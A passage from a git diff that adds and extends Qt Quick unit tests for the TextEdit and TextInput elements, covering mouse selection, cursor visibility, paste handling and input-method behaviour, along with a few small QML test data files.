+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str = textEditObject->selectedText();
+ if (selectWords) {
+ QCOMPARE(str, text);
+ } else {
+ QVERIFY(str.length() > 3);
+ QVERIFY(str != text);
+ }
+
+ delete canvas;
}
void tst_qdeclarativetextedit::inputMethodHints()
@@ -759,6 +1246,8 @@ void tst_qdeclarativetextedit::inputMethodHints()
QVERIFY(textEditObject->inputMethodHints() & Qt::ImhNoPredictiveText);
textEditObject->setInputMethodHints(Qt::ImhUppercaseOnly);
QVERIFY(textEditObject->inputMethodHints() & Qt::ImhUppercaseOnly);
+
+ delete canvas;
}
void tst_qdeclarativetextedit::cursorDelegate()
@@ -785,6 +1274,78 @@ void tst_qdeclarativetextedit::cursorDelegate()
//Test Delegate gets deleted
textEditObject->setCursorDelegate(0);
QVERIFY(!textEditObject->findChild<QDeclarativeItem*>("cursorInstance"));
+
+ delete view;
+}
+
+void tst_qdeclarativetextedit::cursorVisible()
+{
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ view.setFocus();
+
+ QDeclarativeTextEdit edit;
+ QSignalSpy spy(&edit, SIGNAL(cursorVisibleChanged(bool)));
+
+ QCOMPARE(edit.isCursorVisible(), false);
+
+ edit.setCursorVisible(true);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 1);
+
+ edit.setCursorVisible(false);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ edit.setFocus(true);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 2);
+
+ scene.addItem(&edit);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 3);
+
+ edit.setFocus(false);
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 4);
+
+ edit.setFocus(true);
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 5);
+
+ scene.clearFocus();
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 6);
+
+ scene.setFocus();
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 7);
+
+ view.clearFocus();
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 8);
+
+ view.setFocus();
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 9);
+
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+ QCOMPARE(edit.isCursorVisible(), false);
+ QCOMPARE(spy.count(), 10);
+
+ QApplication::setActiveWindow(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(edit.isCursorVisible(), true);
+ QCOMPARE(spy.count(), 11);
+#endif
}
void tst_qdeclarativetextedit::delegateLoading_data()
@@ -867,6 +1428,8 @@ void tst_qdeclarativetextedit::navigation()
QVERIFY(input->hasActiveFocus() == false);
simulateKey(canvas, Qt::Key_Left);
QVERIFY(input->hasActiveFocus() == true);
+
+ delete canvas;
}
void tst_qdeclarativetextedit::copyAndPaste() {
@@ -896,10 +1459,18 @@ void tst_qdeclarativetextedit::copyAndPaste() {
QCOMPARE(textEdit->selectedText(), QString("Hello world!"));
QCOMPARE(textEdit->selectedText().length(), 12);
textEdit->setCursorPosition(0);
+ QVERIFY(textEdit->canPaste());
textEdit->paste();
QCOMPARE(textEdit->text(), QString("Hello world!Hello world!"));
QCOMPARE(textEdit->text().length(), 24);
+ // canPaste
+ QVERIFY(textEdit->canPaste());
+ textEdit->setReadOnly(true);
+ QVERIFY(!textEdit->canPaste());
+ textEdit->setReadOnly(false);
+ QVERIFY(textEdit->canPaste());
+
// QTBUG-12339
// test that document and internal text attribute are in sync
QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit);
@@ -941,6 +1512,8 @@ void tst_qdeclarativetextedit::readOnly()
simulateKey(canvas, Qt::Key_Space);
simulateKey(canvas, Qt::Key_Escape);
QCOMPARE(edit->text(), initial);
+
+ delete canvas;
}
void tst_qdeclarativetextedit::simulateKey(QDeclarativeView *view, int key)
@@ -963,7 +1536,7 @@ QDeclarativeView *tst_qdeclarativetextedit::createView(const QString &filename)
class MyInputContext : public QInputContext
{
public:
- MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false) {}
+ MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
~MyInputContext() {}
QString identifierName() { return QString(); }
@@ -981,8 +1554,40 @@ public:
closeInputPanelReceived = true;
return QInputContext::filterEvent(event);
}
+
+ void update() { updateReceived = true; }
+
+ void sendPreeditText(const QString &text, int cursor)
+ {
+ QList<QInputMethodEvent::Attribute> attributes;
+ attributes.append(QInputMethodEvent::Attribute(
+ QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+ QInputMethodEvent event(text, attributes);
+ sendEvent(event);
+ }
+
+ void mouseHandler(int x, QMouseEvent *event)
+ {
+ cursor = x;
+ eventType = event->type();
+ eventPosition = event->pos();
+ eventGlobalPosition = event->globalPos();
+ eventButton = event->button();
+ eventButtons = event->buttons();
+ eventModifiers = event->modifiers();
+ }
+
bool openInputPanelReceived;
bool closeInputPanelReceived;
+ bool updateReceived;
+ int cursor;
+ QEvent::Type eventType;
+ QPoint eventPosition;
+ QPoint eventGlobalPosition;
+ Qt::MouseButton eventButton;
+ Qt::MouseButtons eventButtons;
+ Qt::KeyboardModifiers eventModifiers;
};
void tst_qdeclarativetextedit::textInput()
@@ -1179,6 +1784,16 @@ void tst_qdeclarativetextedit::openInputPanelOnFocus()
QApplication::processEvents();
QVERIFY(view.inputContext() == 0);
QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+ // input method should not be enabled
+ // if TextEdit is read only.
+ edit.setReadOnly(true);
+ ic.openInputPanelReceived = false;
+ edit.setFocus(true);
+ QApplication::processEvents();
+ QCOMPARE(ic.openInputPanelReceived, false);
+ QVERIFY(view.inputContext() == 0);
+ QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
}
void tst_qdeclarativetextedit::geometrySignals()
@@ -1212,6 +1827,258 @@ void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003()
#endif
}
+void tst_qdeclarativetextedit::implicitSize_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("wrap");
+ QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
+ QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.NoWrap";
+ QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
+ QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.Wrap";
+}
+
+void tst_qdeclarativetextedit::implicitSize()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, wrap);
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+ QVERIFY(textObject->width() < textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+
+ textObject->resetWidth();
+ QVERIFY(textObject->width() == textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("canPaste") << "property bool foo: canPaste"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+ << "";
+
+ QTest::newRow("lineCount") << "property int foo: lineCount"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+ << "";
+
+ QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+ << "";
+
+ QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+ << "";
+
+ QTest::newRow("onLinkActivated") << "onLinkActivated: {}"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_qdeclarativetextedit::preeditMicroFocus()
+{
+ QString preeditText = "super";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ edit.setFocus(true);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+ QRect currentRect;
+ QRect previousRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+ // Verify that the micro focus rect is positioned the same for position 0 as
+ // it would be if there was no preedit text.
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, 0);
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+
+ // Verify that the micro focus rect moves to the left as the cursor position
+ // is incremented.
+ for (int i = 1; i <= 5; ++i) {
+ ic.updateReceived = false;
+ ic.sendPreeditText(preeditText, i);
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+ previousRect = currentRect;
+ }
+
+ // Verify that if there is no preedit cursor then the micro focus rect is the
+ // same as it would be if it were positioned at the end of the preedit text.
+ ic.sendPreeditText(preeditText, 0);
+ ic.updateReceived = false;
+ ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+ currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+ QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+ QCOMPARE(ic.updateReceived, true);
+#endif
+}
+
+void tst_qdeclarativetextedit::inputContextMouseHandler()
+{
+ QString text = "supercalifragisiticexpialidocious!";
+
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ MyInputContext ic;
+ view.setInputContext(&ic);
+ QDeclarativeTextEdit edit;
+ edit.setPos(0, 0);
+ edit.setWidth(200);
+ edit.setText(text.mid(0, 12));
+ edit.setPos(0, 0);
+ edit.setCursorPosition(12);
+ edit.setFocus(true);
+ scene.addItem(&edit);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ view.setFocus();
+
+ QFontMetricsF fm(edit.font());
+ const qreal y = fm.height() / 2;
+
+ QPoint position2 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+ QPoint position8 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+ QPoint position20 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+ QPoint position27 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+ QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+ QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+ QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+ QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+ ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ { QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16); // 15 is expected but some platforms may be off by one.
+ ic.eventType = QEvent::None;
+
+ QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ // And in the other direction.
+ QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::LeftButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+ QCOMPARE(ic.eventPosition, position27);
+ QCOMPARE(ic.eventGlobalPosition, globalposition27);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::MouseMove);
+ QCOMPARE(ic.eventPosition, position20);
+ QCOMPARE(ic.eventGlobalPosition, globalposition20);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+ ic.eventType = QEvent::None;
+
+ { QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+ QApplication::sendEvent(view.viewport(), &mv); }
+ QCOMPARE(ic.eventType, QEvent::None);
+
+ QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+ QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+ QCOMPARE(ic.eventPosition, position2);
+ QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+ QCOMPARE(ic.eventButton, Qt::RightButton);
+ QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+ QVERIFY(ic.cursor < 0);
+ ic.eventType = QEvent::None;
+}
+
QTEST_MAIN(tst_qdeclarativetextedit)
#include "tst_qdeclarativetextedit.moc"
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..b11535e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 180
+ height: 20
+ color: "green"
+
+ TextInput {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
new file mode 100644
index 0000000..8115ba0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
new file mode 100644
index 0000000..0ffc6ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextInput.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
new file mode 100644
index 0000000..87c174b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
new file mode 100644
index 0000000..df69a7d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextInput.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
index 4ad055c..49a05a3 100644
--- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
+++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
@@ -57,6 +57,8 @@
#define SRCDIR "."
#endif
+Q_DECLARE_METATYPE(QDeclarativeTextInput::SelectionMode)
+
QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
{
// XXX This will be replaced by some clever persistent platform image store.
@@ -87,9 +89,17 @@ private slots:
void font();
void color();
void selection();
+ void moveCursorSelection_data();
+ void moveCursorSelection();
+ void moveCursorSelectionSequence_data();
+ void moveCursorSelectionSequence();
+ void dragMouseSelection();
+ void mouseSelectionMode_data();
+ void mouseSelectionMode();
void horizontalAlignment_data();
void horizontalAlignment();
+ void horizontalAlignment_RightToLeft();
void positionAt();
@@ -100,6 +110,7 @@ private slots:
void passwordCharacter();
void cursorDelegate();
+ void cursorVisible();
void navigation();
void copyAndPaste();
void readOnly();
@@ -111,6 +122,13 @@ private slots:
void echoMode();
void geometrySignals();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+ void preeditAutoScroll();
+ void preeditMicroFocus();
+ void inputContextMouseHandler();
+
private:
void simulateKey(QDeclarativeView *, int key);
QDeclarativeView *createView(const QString &filename);
@@ -124,7 +142,8 @@ tst_qdeclarativetextinput::tst_qdeclarativetextinput()
{
standard << "the quick brown fox jumped over the lazy dog"
<< "It's supercalifragisiticexpialidocious!"
- << "Hello, world!";
+ << "Hello, world!"
+ << "!dlrow ,olleH";
colorStrings << "aliceblue"
<< "antiquewhite"
@@ -405,9 +424,447 @@ void tst_qdeclarativetextinput::selection()
textinputObject->select(0,100);
QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->deselect();
+ QVERIFY(textinputObject->selectedText().isNull());
+ textinputObject->select(0,10);
+ QVERIFY(textinputObject->selectedText().size() == 10);
+ textinputObject->deselect();
+ QVERIFY(textinputObject->selectedText().isNull());
+
delete textinputObject;
}
+void tst_qdeclarativetextinput::moveCursorSelection_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition");
+ QTest::addColumn<QDeclarativeTextInput::SelectionMode>("mode");
+ QTest::addColumn<int>("selectionStart");
+ QTest::addColumn<int>("selectionEnd");
+ QTest::addColumn<bool>("reversible");
+
+ QTest::newRow("(t)he|characters")
+ << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectCharacters << 0 << 1 << true;
+ QTest::newRow("do(g)|characters")
+ << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectCharacters << 43 << 44 << true;
+ QTest::newRow("jum(p)ed|characters")
+ << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectCharacters << 23 << 24 << true;
+ QTest::newRow("jumped( )over|characters")
+ << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectCharacters << 26 << 27 << true;
+ QTest::newRow("(the )|characters")
+ << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectCharacters << 0 << 4 << true;
+ QTest::newRow("( dog)|characters")
+ << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectCharacters << 40 << 44 << true;
+ QTest::newRow("( jumped )|characters")
+ << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectCharacters << 19 << 27 << true;
+ QTest::newRow("th(e qu)ick|characters")
+ << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectCharacters << 2 << 6 << true;
+ QTest::newRow("la(zy d)og|characters")
+ << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectCharacters << 38 << 42 << true;
+ QTest::newRow("jum(ped ov)er|characters")
+ << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectCharacters << 23 << 29 << true;
+ QTest::newRow("()the|characters")
+ << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectCharacters << 0 << 0 << true;
+ QTest::newRow("dog()|characters")
+ << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectCharacters << 44 << 44 << true;
+ QTest::newRow("jum()ped|characters")
+ << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true;
+
+ QTest::newRow("<(t)he>|words")
+ << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
+ QTest::newRow("<do(g)>|words")
+ << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
+ QTest::newRow("<jum(p)ed>|words")
+ << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
+ QTest::newRow("<jumped( )>over|words,ltr")
+ << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 20 << 27 << false;
+ QTest::newRow("jumped<( )over>|words,rtl")
+ << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 31 << false;
+ QTest::newRow("<(the )>quick|words,ltr")
+ << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 4 << false;
+ QTest::newRow("<(the )quick>|words,rtl")
+ << standard[0] << 4 << 0 << QDeclarativeTextInput::SelectWords << 0 << 9 << false;
+ QTest::newRow("<lazy( dog)>|words,ltr")
+ << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 36 << 44 << false;
+ QTest::newRow("lazy<( dog)>|words,rtl")
+ << standard[0] << 44 << 40 << QDeclarativeTextInput::SelectWords << 40 << 44 << false;
+ QTest::newRow("<fox( jumped )>over|words,ltr")
+ << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 16 << 27 << false;
+ QTest::newRow("fox<( jumped )over>|words,rtl")
+ << standard[0] << 27 << 19 << QDeclarativeTextInput::SelectWords << 19 << 31 << false;
+ QTest::newRow("<th(e qu)ick>|words")
+ << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true;
+ QTest::newRow("<la(zy d)og|words>")
+ << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true;
+ QTest::newRow("<jum(ped ov)er>|words")
+ << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true;
+ QTest::newRow("<()>the|words")
+ << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+ QTest::newRow("dog<()>|words")
+ << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true;
+ QTest::newRow("jum<()>ped|words")
+ << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true;
+
+ QTest::newRow("Hello<(,)> |words")
+ << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
+ QTest::newRow("Hello<(, )>world|words,ltr")
+ << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello<(, )world>|words,rtl")
+ << standard[2] << 7 << 5 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+ QTest::newRow("<Hel(lo, )>world|words,ltr")
+ << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+ QTest::newRow("<Hel(lo, )world>|words,rtl")
+ << standard[2] << 7 << 3 << QDeclarativeTextInput::SelectWords << 0 << 12 << false;
+ QTest::newRow("<Hel(lo)>,|words")
+ << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true;
+ QTest::newRow("Hello<()>,|words")
+ << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true;
+ QTest::newRow("Hello,<()>|words")
+ << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true;
+ QTest::newRow("Hello<,( )>world|words,ltr")
+ << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello,<( )world>|words,rtl")
+ << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world)>|words,ltr")
+ << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+ QTest::newRow("Hello,<( world)>|words,rtl")
